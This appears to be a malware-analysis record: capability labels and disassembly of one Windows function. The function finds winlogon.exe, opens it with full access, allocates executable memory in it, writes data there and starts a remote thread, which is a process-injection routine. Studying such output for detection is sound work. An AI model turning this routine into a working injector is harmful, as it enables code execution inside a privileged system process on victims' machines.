Function at 0x1400015e0
Capabilities:
Allocate or change rwx memory
Create thread
Enumerate processes
Inject thread
Spawn thread to rwx shellcode
Terminate process

Disassembly:
mov r11, rsp
mov qword [r11 + 0x18], rsi
push rbp
lea rbp, [r11 - 0x1f8]
sub rsp, 0x2f0
mov rax, qword [0x140006008]
xor rax, rsp
mov qword [rbp + 0x1e0], rax
xor eax, eax
mov qword [r11 + 8], rbx
xorps xmm0, xmm0
mov qword [r11 + 0x10], rdi
xor edx, edx
mov qword [rsp + 0x60], rax
movups xmmword [rsp + 0x40], xmm0
lea ecx, [rax + 2]
movups xmmword [rsp + 0x50], xmm0
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
xor edx, edx
mov dword [rbp - 0x60], 0x238
mov r8d, 0x234
lea rcx, [rbp - 0x5c]
mov rbx, rax
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp - 0x60]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
xor esi, esi
test eax, eax
je 0x1400016b5
lea rdi, str.winlogon.exe
nop dword [rax]
nop word [rax + rax]
lea rdx, [rbp - 0x34]
mov rax, 0xffffffffffffffff
nop dword [rax + rax]
movzx ecx, word [rdi + rax*2 + 2]
cmp cx, word [rdx + rax*2 + 2]
jne 0x1400016a4
add rax, 2
cmp rax, 0xd
je 0x140001744
movzx ecx, word [rdi + rax*2]
cmp cx, word [rdx + rax*2]
je 0x140001680
lea rdx, [rbp - 0x60]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140001670
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, esi
mov edx, ebx
lea rcx, str.winlogon.exe:0x_x_n
call fcn.140001010
mov r8d, ebx
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov r9d, 0x30
lea r8, [rsp + 0x68]
mov rcx, rax
mov qword [0x1400066d0], rax
mov edx, 0x4000
call qword [sym.imp.KERNEL32.dll_VirtualQueryEx]
mov rdi, qword [rsp + 0x308]
mov rbx, qword [rsp + 0x300]
test rax, rax
je 0x14000177e
cmp dword [rbp - 0x74], 0x40
jne 0x140001755
lea rcx, [0x140004458]
call fcn.140001010
mov rdx, qword [rsp + 0x68]
lea rcx, str.search:0x_p_n
call fcn.140001010
mov rcx, qword [rsp + 0x68]
mov qword [0x1400066c8], rcx
jmp 0x14000175a
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ebx, dword [rbp - 0x58]
jmp 0x1400016c0
mov rcx, qword [rsp + 0x68]
mov rdx, qword [rbp - 0x80]
lea r8, [rsp + 0x68]
add rdx, rcx
mov r9d, 0x30
mov rcx, qword [0x1400066d0]
call qword [sym.imp.KERNEL32.dll_VirtualQueryEx]
test rax, rax
jne 0x140001713
cmp qword [0x1400066c8], rsi
jne 0x1400017d0
mov rcx, qword [0x1400066d0]
xor edx, edx
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x40
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
lea rcx, [0x140004478]
mov qword [0x1400066c8], rax
call fcn.140001010
mov rdx, qword [0x1400066c8]
lea rcx, str.alloc:0x_p_n
call fcn.140001010
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov rdx, qword [0x1400066c8]
lea r8, [rsp + 0x40]
mov rcx, qword [0x1400066d0]
mov r9d, 0x28
mov dword [rsp + 0x40], eax
mov qword [rsp + 0x48], rdx
lea rax, [rdx + 0x380]
mov dword [rsp + 0x60], 0x999
mov qword [rsp + 0x50], rax
add rdx, 0x700
add rax, 0x10
mov qword [rsp + 0x20], rsi
mov qword [rsp + 0x58], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov r9, qword [0x1400066c8]
xor r8d, r8d
mov rcx, qword [0x1400066d0]
xor edx, edx
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
lea rax, [r9 + 0x700]
add r9, 0x500
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp byte [0x140006704], sil
je 0x140001892
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Error_Connecting
call fcn.1400022c0
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
movups xmm2, xmmword [rsp + 0x50]
movups xmm0, xmmword [rsp + 0x40]
movdqa xmm1, xmm2
psrldq xmm1, 8
movq rax, xmm1
movups xmmword [0x1400066d8], xmm0
movsd xmm0, qword [rsp + 0x60]
mov word [rax], 1
movq rax, xmm2
movups xmmword [0x1400066e8], xmm2
movsd qword [0x1400066f8], xmm0
mov dword [rax], esi
mov rcx, qword [rbp + 0x1e0]
xor rcx, rsp
call fcn.1400027d0
mov rsi, qword [rsp + 0x310]
add rsp, 0x2f0
pop rbp
ret